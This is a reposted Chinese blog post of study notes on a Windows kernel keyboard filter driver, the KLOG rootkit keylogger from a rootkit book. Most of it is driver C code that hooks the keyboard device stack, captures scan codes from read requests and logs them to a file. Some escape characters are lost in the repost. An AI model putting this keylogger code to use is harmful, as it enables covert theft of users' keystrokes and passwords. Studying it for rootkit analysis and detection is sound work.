转http://blog.sina.com.cn/s/blog_5371d2790100e4rc.html
键盘过滤驱动核心思想总结
可以参考另外一篇文章《Designing A Kernel Key Logger》,这两篇文章都是关于键盘记录的,相互补充,相得益彰.....
该键盘过滤驱动程序是《ROOTKIT---window内核的安全防护》一书中的例子。原型就是KLOG rootkit,写这个文档的主要目的是记录自己在调试、学习过程中的一些认识、心得、体会。全当读书笔记
该驱动的工作原理是:在系统键盘设备上挂接一个我们自己创建的设备对象,这样当击键行为发生时,击键请求首先被我们的过滤驱动设备所捕获,从而实现击键行为的记录。
要捕获的IRP请求是:IRP_MJ_READ请求,对于其他的IRP请求,直接将其传递给下层设备对象处理。
注意:这个驱动程序没有设置控制设备对象(即用户应用程序和驱动程序交互的设备对象)
下面根据函数的执行流程来做个粗略分析
一、DriverEntry函数
该函数主要做一些初始化工作,比如设置分发例程、初始化全局变量、创建用于记录击键行为的线程、attach过滤驱动、打开日志记录文件。
(1)设置分发例程
for (i = 0;i < IRP_MJ_MAXIMUM_FUNCTION; i ++)
pDriverObject->MajorFunction[i] = DispatchPassDown;
pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead;
pDriverObject->DriverUnload = DriverUnload;
(2)将过滤驱动程序attach到系统的键盘设备上。
HookKeyBoard(pDriverObject);
(3)创建线程,用于记录击键行为。------因为在驱动程序IRP处理函数中不能执行文件操作,所以我们必须要创建一个线程来执行写日志操作。
InitThreadKeyLogger(pDriverObject);
(4)初始化全局变量
//QueueListHead是一个ListEntry结构的共享链表,其中记录了所有的击键动作。
InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);
KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
//initialize the work queue semaphore
KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
(5)打开文件C:KeyLog.txt以记录击键动作。
RtlInitUnicodeString(&unifileName,L"\??\C:\KeyLog.txt");
InitializeObjectAttributes(
&objectAttributes,
&unifileName,
OBJ_CASE_INSENSITIVE,
NULL,
NULL);
ntStatus = ZwCreateFile(
&pKeyboardDeviceExtension->hLogFile,
GENERIC_WRITE,
&objectAttributes,
&file_status,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
if (!NT_SUCCESS(ntStatus))
{
DbgPrint("Failed to create log filen");
DbgPrint("File status = %xn",file_status);
}else{
DbgPrint("successfully created log filen");
DbgPrint("file handle = %x n",pKeyboardDeviceExtension->hLogFile);
}
二、分发例程
在这个驱动程序中我们只关心两个分发例程DispatahPassDow和DispatchRead
(1)DispatchPassDown
这个分发例程中,我们不兑RIRP请求做任何处理,只是简单的传递给下层的设备对象。
NTSTATUS
DispatchPassDown(
IN PDEVICE_OBJECT deviceObject,
IN PIRP pIrp)
{
DbgPrint("Entering DispatchPassDown Routinen");
IoSkipCurrentIrpStackLocation(pIrp);
return IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
(2)DispatchRead
当一个READ请求到达键盘控制器时,就调用该函数。这时IRP中并没有可用的数据,相反,我们希望在捕获了击键动作之后察看IRP-----当IRP正在沿着设备链向上传输时,所以我们应该设置一个完成例程来操作正在返回的IRP请求。所以DispatchRead例程的主要工作是设置完成例程。
//设置完成例程
IoSetCompletionRoutine(
pIrp,
OnReadCompletion,
deviceObject,
TRUE,
TRUE,
TRUE);
numpendingIrps ++;
//将IRP请求传递给下层的设备
return IoCallDriver(((PDEVICE_EXTENSION)deviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
这样,每个IRP_MJ_READ请求在返回的时候都会在OnReadCompletion得到进一步的处理。下面看一下OnReadCompletion函数怎么处理返回的IRP请求。
//检查IRP的状态,如果是STATUS_SUCCESS则说明IRP已经完成并且应该已经记录了击键数据。
if (pIrp->IoStatus.Status == STATUS_SUCCESS)
{
keys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
numkeys = pIrp->IoStatus.Information /sizeof(KEYBOARD_INPUT_DATA);
//遍历所有的数组成员,从每个成员中获取击键动作
for(i = 0; i < numkeys; i ++)
{
DbgPrint("ScanCode:%xn",keys[i].MakeCode);
if (keys[i].Flags == KEY_BREAK)
DbgPrint("%sn","Key Up");
if (keys[i].Flags == KEY_MAKE)
DbgPrint("%sn","Key Down");
//分配一些NonPagedPool内存,并将扫描码放入其中,然后将其置入全局链表中。
kData = (KEY_DATA *)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
//fill in the kData structure with info from IRP
kData->KeyData = (char)keys[i].MakeCode;
kData->KeyFlags = (char)keys[i].Flags;
//add the scan code to the linked list queue so our worker thread
//can write it out to a file
DbgPrint("Add IRP to work queuen");
ExInterlockedInsertTailList(
&pkeyboardDeviceExtension->QueueListHead,
&kData->ListEntry,
&pkeyboardDeviceExtension->lockQueue);
//Increment the semaphore by 1
KeReleaseSemaphore(
&pkeyboardDeviceExtension->semQueue,
0,
1,
FALSE);
}
}
//mark the IRP pending if necessary
if (pIrp->PendingReturned)
IoMarkIrpPending(pIrp);
//remove the Irp from out own count of tagged IRPs
numpendingIrps --;
return pIrp->IoStatus.Status;
}
此时链表中已经保存了一个击键动作,这样写日志线程就可以工作了。我们在后面讨论写日志线程的工作。
三、将过滤驱动attach到系统键盘设备上------ HookKeyBoard
(1)创建过滤设备+设置设备标记
注意,过滤设备对象一般都没有名字,这里要创建的设备对象也没有名字,类型为FILE_DEVICE_KEYBOARD。
ntStatus = IoCreateDevice(
pDriverObject,
sizeof(DEVICE_EXTENSION),
NULL,
FILE_DEVICE_KEYBOARD,
0,
TRUE,
&pkeyboardDeviceObject);
if (!NT_SUCCESS(ntStatus))
return ntStatus;
//新设备的标记应该设置为与底层键盘设备的标记相同
pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags |(DO_BUFFERED_IO | DO_POWER_PAGABLE);
pkeyboardDeviceObject->Flags = pkeyboardDeviceObject->Flags & ~DO_DEVICE_INITIALIZING;
DbgPrint("Flags set successfullyn");
//initialize the device extension
RtlZeroMemory(pkeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pkeyboardDeviceObject->DeviceExtension;
(2)将过滤驱动attach到底层键盘设备上
RtlInitAnsiString(&ntNameString,ntNameBuffer);
RtlAnsiStringToUnicodeString(&ukeyboardDeviceName,&ntNameString,TRUE);
IoAttachDevice(pkeyboardDeviceObject,
&ukeyboardDeviceName,
&pkeyboardDeviceExtension->pKeyboardDevice);
RtlFreeUnicodeString(&ukeyboardDeviceName);
至此,过滤驱动的挂载就完成了,下面就可以过滤所有的键盘操作了。接下来是创建一个用于写日志的线程。
四、创建线程,执行写日志操作
主要工作:调用PsCreateSystemThread创建线程、根据线程句柄获得线程对象,然后将该对象保存在DEVICE_EXTENSION对象中。
NTSTATUS
InitThreadKeyLogger(
IN PDRIVER_OBJECT pDriverObject)
{
HANDLE hThread;
NTSTATUS ntStatus =STATUS_SUCCESS;
PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pDriverObject->DeviceObject->DeviceExtension;
//set the worker thread to running state in device extension
pkeyboardDeviceExtension->bThreadTerminate = FALSE;
//create thread
ntStatus = PsCreateSystemThread(
&hThread,
(ACCESS_MASK)0,
NULL,
(HANDLE)0,
NULL,
ThreadKeyLogger,
pkeyboardDeviceExtension);
if (!NT_SUCCESS(ntStatus))
return ntStatus;
//obtain a pointer to the thread object and store it in DEVICE_EXTENSION
ObReferenceObjectByHandle(
hThread,
THREAD_ALL_ACCESS,
NULL,
KernelMode,
(PVOID *)&pkeyboardDeviceExtension->pThreadObj,
NULL);
ZwClose(hThread);
return ntStatus;
}
下面看ThreadKeyLogger函数的执行过程。
(1)函数进入一个循环,代码通过KeWaitForSingleObject等待信号量。若信号量递增,则处理循环继续运行。
(2)通过工具函数ConvertScanCodeToKeyCode将获取的扫描码转换成键盘码。
(3)然后执行写日志操作。
五、卸载例程
VOID
DriverUnload(
IN PDRIVER_OBJECT pdriverObject)
{
KTIMER kTimer;
LARGE_INTEGER timeout;
PDEVICE_EXTENSION pkeyboardDeviceExtension = (PDEVICE_EXTENSION)pdriverObject->DeviceObject->DeviceExtension;
DbgPrint("Entering DriverUnloadn");
//取下分层设备的过滤驱动对象
IoDetachDevice(pkeyboardDeviceExtension->pKeyboardDevice);
//进入一个循环,直到所有的IRP都处理完
timeout.QuadPart = 1000000;//1s
KeInitializeTimer(&kTimer);
while(numpendingIrps > 0)
{
//set the timer
KeSetTimer(&kTimer,timeout,NULL);
KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
}
//set the key logger worker thread to terminate
pkeyboardDeviceExtension->bThreadTerminate = TRUE;
//wake up the thread if it's blocked &waitfor*** after this call
KeReleaseSemaphore(&pkeyboardDeviceExtension->semQueue,0,1,TRUE);
//wait till the worker thread terminates
DbgPrint("Waiting for key logger thread to terminaten");
KeWaitForSingleObject(pkeyboardDeviceExtension->pThreadObj,
Executive,
KernelMode,
FALSE,
NULL);
//close the log file
ZwClose(pkeyboardDeviceExtension->hLogFile);
//delete the device
IoDeleteDevice(pdriverObject->DeviceObject);
DbgPrint("Tagged IRPs dead terminating.....n");
return;
}